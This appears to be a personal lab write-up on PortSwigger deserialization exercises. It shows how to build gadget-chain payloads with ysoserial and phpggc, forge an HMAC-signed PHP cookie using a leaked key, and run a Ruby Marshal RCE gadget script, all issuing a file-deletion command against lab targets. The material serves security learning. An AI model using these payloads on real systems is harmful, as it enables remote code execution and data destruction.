Info

A “gadget” is a snippet of code that exists in the application that can help an attacker to achieve a particular goal.

The attacker’s goal might simply be to invoke a method that will pass their input into another gadget. By chaining multiple gadgets together in this way, an attacker can potentially pass their input into a dangerous “sink gadget”, where it can cause maximum damage.

In the wild, many insecure deserialization vulnerabilities will only be exploitable through the use of gadget chains. Therefore, being able to construct gadget chains is one of the key aspects of successfully exploiting insecure deserialization.

Working with Pre-built Gadget Chains

There are several tools available that provide a range of pre-discovered chains that have been successfully exploited on other websites. Use these tools to both identify and exploit insecure deserialization vulnerabilities with relatively little effort.

One such tool for Java deserialization is ysoserial.

Note

In Java versions 16 and above, you need to set a series of command-line arguments for Java to run ysoserial. For example:

java -jar ysoserial-all.jar \
   --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED \
   --add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED \
   --add-opens=java.base/java.net=ALL-UNNAMED \
   --add-opens=java.base/java.util=ALL-UNNAMED \
   [payload] '[command]'

Not all gadget chains in ysoserial allow you to execute arbitrary code; some serve other purposes:

  • The URLDNS chain triggers a DNS lookup for a provided URL. It does not depend on a specific vulnerable library and works with any Java version, making it ideal for detection.
  • The JRMPClient chain also helps with detection by making the server attempt a TCP connection to a given IP address (not a hostname). This chain is useful in environments where all outbound traffic, including DNS, is blocked. You can test this by using both a local and an external IP address: if the response is quick for the local IP but delayed for the external one, it means the gadget chain triggered an attempted connection to the external, firewalled address.

Most languages that frequently suffer from insecure deserialization vulnerabilities have equivalent proof-of-concept tools. For example, for PHP-based sites you can use “PHP Generic Gadget Chains” (phpggc).

Lab: Exploiting Java Deserialization with Apache Commons

The original session cookie has the following format:

rO0ABXNyAC9sYWIuYWN0aW9ucy5jb21tb24uc2VyaWFsaXphYmxlLkFjY2Vzc1Rva2VuVXNlchlR/OUSJ6mBAgACTAALYWNjZXNzVG9rZW50ABJMamF2YS9sYW5nL1N0cmluZztMAAh1c2VybmFtZXEAfgABeHB0ACB3eHRlNjQ0ZGg1aDEzeTIxaDVpd3VleW90amFnNTl3MHQABndpZW5lcg%3d%3d

As we can see, it starts with rO0 so this is a serialized Java object.

First, try to use ysoserial within a Docker container:

docker run -it --rm ilyaglow/ysoserial CommonsCollections4 'rm /home/carlos/morale.txt' > payload.bin

Note

The choice of CommonsCollections4 payload is based on Deserialization | HackTricks.

Write a script to convert to base64 encoding:

import base64
 
# Read the binary file
with open('payload.bin', 'rb') as binary_file:
    binary_data = binary_file.read()
 
# Convert to base64
base64_encoded_data = base64.b64encode(binary_data).decode('utf-8')
 
print(base64_encoded_data)

Command to use:

python ./bin2base64.py ./payload.bin > payload.base64

URL-encode the output and add to any request as session cookie. Then, send the request and the response has the following error message:

<p class=is-warning>
	java.io.StreamCorruptedException: invalid type code: 16
</p>

This answer is not accepted.

After that, download sdk and install Java 11. Then, run the ysoserial-all.jar file with the following command:

java -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64 -w 0 > payload2.base64

The output is totally different from the one generated from Docker command.

URL-encode the output, place in any request and then send request.

Error message in response is different:

<p class=is-warning>
	InstantiateTransformer: Constructor threw an exception
</p>

But this is the accepted answer.

Lab: Exploiting PHP Deserialization with a Pre-built Gadget Chain

Original decoded cookie:

{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2ampzc3hvMGU2dm83a29sbHAwcGU5dWI1bDNtcjV2ZSI7fQ==","sig_hmac_sha1":"d28c96c15d951cf05114ab9043e9b471b0d9d791"}

The token field is the serialized object:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"vjjssxo0e6vo7kollp0pe9ub5l3mr5ve";}

Try to change username to carlos and update the token field (without changing the signature):

{"token":"Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6ImNhcmxvcyI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJ2ampzc3hvMGU2dm83a29sbHAwcGU5dWI1bDNtcjV2ZSI7fQ==","sig_hmac_sha1":"d28c96c15d951cf05114ab9043e9b471b0d9d791"}

The response has this error message:

<h4>Internal Server Error: Symfony Version: 4.3.6</h4>
<p class=is-warning>PHP Fatal error:  Uncaught Exception: Signature does not match session in /var/www/index.php:7
Stack trace:
#0 {main}
  thrown in /var/www/index.php on line 7
</p>

It indicates that the framework is “Symfony Version: 4.3.6”.

Setup phpggc (build Docker image) and find the gadget chains:

docker run --rm phpggc -l symfony
 
Symfony/RCE4     3.4.0-34, 4.2.0-11, 4.3.0-7                             RCE: Function Call    __destruct      *
Symfony/RCE7     v3.2.0 <= v3.4.34 v4.0.0 <= v4.2.11 v4.3.0 <= v4.3.7    RCE: Function Call    __destruct
Symfony/RCE9     2.6.0 <= 4.4.18                                         RCE: Function Call    __destruct
Symfony/RCE10    2.0.4 <= 5.4.24 (all)                                   RCE: Function Call    __toString
Symfony/RCE11    2.0.4 <= 5.4.24 (all)                                   RCE: Function Call    __destruct

Try to generate the serialized object with Symfony/RCE4’s gadget chain (and also encode it):

$ docker run --rm phpggc Symfony/RCE4 system 'rm /home/carlos/morale.txt' | base64 -w 0 > payload
$ cat payload
Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjY6InN5c3RlbSI7fX0K

Next, we need to find the secret key for signing. Find the following code snippet from /my-account endpoint:

<!-- <a href=/cgi-bin/phpinfo.php>Debug</a> -->

Access that page and found a secret key as a PHP variable:

bofbeeckm3k7mnxoo51qdnktco30sd1u

Then, sign the encoded payload:

$ cat payload | openssl sha1 -hmac "bofbeeckm3k7mnxoo51qdnktco30sd1u"
SHA1(stdin)= df1e8f4f08559f8c87a19cafcc12d39c27a1b21c

Build the cookie:

{"token":"Tzo0NzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxUYWdBd2FyZUFkYXB0ZXIiOjI6e3M6NTc6IgBTeW1mb255XENvbXBvbmVudFxDYWNoZVxBZGFwdGVyXFRhZ0F3YXJlQWRhcHRlcgBkZWZlcnJlZCI7YToxOntpOjA7TzozMzoiU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQ2FjaGVJdGVtIjoyOntzOjExOiIAKgBwb29sSGFzaCI7aToxO3M6MTI6IgAqAGlubmVySXRlbSI7czoyNjoicm0gL2hvbWUvY2FybG9zL21vcmFsZS50eHQiO319czo1MzoiAFN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcVGFnQXdhcmVBZGFwdGVyAHBvb2wiO086NDQ6IlN5bWZvbnlcQ29tcG9uZW50XENhY2hlXEFkYXB0ZXJcUHJveHlBZGFwdGVyIjoyOntzOjU0OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAcG9vbEhhc2giO2k6MTtzOjU4OiIAU3ltZm9ueVxDb21wb25lbnRcQ2FjaGVcQWRhcHRlclxQcm94eUFkYXB0ZXIAc2V0SW5uZXJJdGVtIjtzOjY6InN5c3RlbSI7fX0K","sig_hmac_sha1":"df1e8f4f08559f8c87a19cafcc12d39c27a1b21c"}

URL-encode, place into the request and then send it.

Working with Documented Gadget Chains

There may not always be a dedicated tool available for exploiting known gadget chains in the framework used by the target application. In this case, it’s always worth looking online to see if there are any documented exploits that you can adapt manually.

Lab: Exploiting Ruby Deserialization Using a Documented Gadget Chain

Copy the code used for generating the malicious serialized object from Universal Deserialisation Gadget for Ruby 2.x-3.x | devcraft.io:

#!/usr/bin/env ruby
# Autoload the required classes
Gem::SpecFetcher
Gem::Installer
 
# prevent the payload from running when we Marshal.dump it
module Gem
  class Requirement
    def marshal_dump
      [@requirements]
    end
  end
end
 
wa1 = Net::WriteAdapter.new(Kernel, :system)
 
rs = Gem::RequestSet.allocate
rs.instance_variable_set('@sets', wa1)
rs.instance_variable_set('@git_set', "rm /home/carlos/morale.txt")
 
wa2 = Net::WriteAdapter.new(rs, :resolve)
 
i = Gem::Package::TarReader::Entry.allocate
i.instance_variable_set('@read', 0)
i.instance_variable_set('@header', "aaa")
 
n = Net::BufferedIO.allocate
n.instance_variable_set('@io', i)
n.instance_variable_set('@debug_output', wa2)
 
t = Gem::Package::TarReader.allocate
t.instance_variable_set('@io', n)
 
r = Gem::Requirement.allocate
r.instance_variable_set('@requirements', t)
 
payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r])
puts Base64.encode64(payload)

Make some modification:

  1. Change command from id to rm /home/carlos/morale.txt.
  2. Replace two last line with puts Base64.encode64(payload) to output the base64 encode format.

Somehow, I can not run the script using Ruby on Kali-Linux WSL

$ ruby --version
ruby 3.1.2p20 (2022-04-12 revision 4491bb740a) [x86_64-linux-gnu]
 
$ ./gen-payload-devcraft.rb
/usr/lib/ruby/3.1.0/net/protocol.rb:450:in `initialize': wrong number of arguments (given 2, expected 1) (ArgumentError)                                            from ./gen-payload-devcraft.rb:15:in `new'                                                                                                                  from ./gen-payload-devcraft.rb:15:in `<main>'

But I can run it on Ubuntu-20.04 WSL:

$ ruby --version
ruby 2.7.0p0 (2019-12-25 revision 647ee6f091) [x86_64-linux-gnu]
 
$ ./gen-payload-devcraft.rb
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06
OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBp
b286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVh
ZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRl
YnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdl
bTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2Rf
aWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxl
LnR4dAY7DFQ7EjoMcmVzb2x2ZQ==

Use td to remove the endline character:

echo "BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06
OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBp
b286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVh
ZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRl
YnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdl
bTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2Rf
aWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxl
LnR4dAY7DFQ7EjoMcmVzb2x2ZQ==" | tr -d '\n'
BAhbCGMVR2VtOjpTcGVjRmV0Y2hlcmMTR2VtOjpJbnN0YWxsZXJVOhVHZW06OlJlcXVpcmVtZW50WwZvOhxHZW06OlBhY2thZ2U6OlRhclJlYWRlcgY6CEBpb286FE5ldDo6QnVmZmVyZWRJTwc7B286I0dlbTo6UGFja2FnZTo6VGFyUmVhZGVyOjpFbnRyeQc6CkByZWFkaQA6DEBoZWFkZXJJIghhYWEGOgZFVDoSQGRlYnVnX291dHB1dG86Fk5ldDo6V3JpdGVBZGFwdGVyBzoMQHNvY2tldG86FEdlbTo6UmVxdWVzdFNldAc6CkBzZXRzbzsOBzsPbQtLZXJuZWw6D0BtZXRob2RfaWQ6C3N5c3RlbToNQGdpdF9zZXRJIh9ybSAvaG9tZS9jYXJsb3MvbW9yYWxlLnR4dAY7DFQ7EjoMcmVzb2x2ZQ==

URl-encode the output and place into the request. Then, send the request.

Through this lab, I also try with:

  1. Ruby 2.x Universal RCE Deserialization Gadget Chain - elttam
  2. klezVirus/deser-ruby: Ruby Deserialization Payload Generator (github.com)
list
from outgoing([[Port Swigger - Gadget Chains for Insecure Deserialization]])
sort file.ctime asc

Resources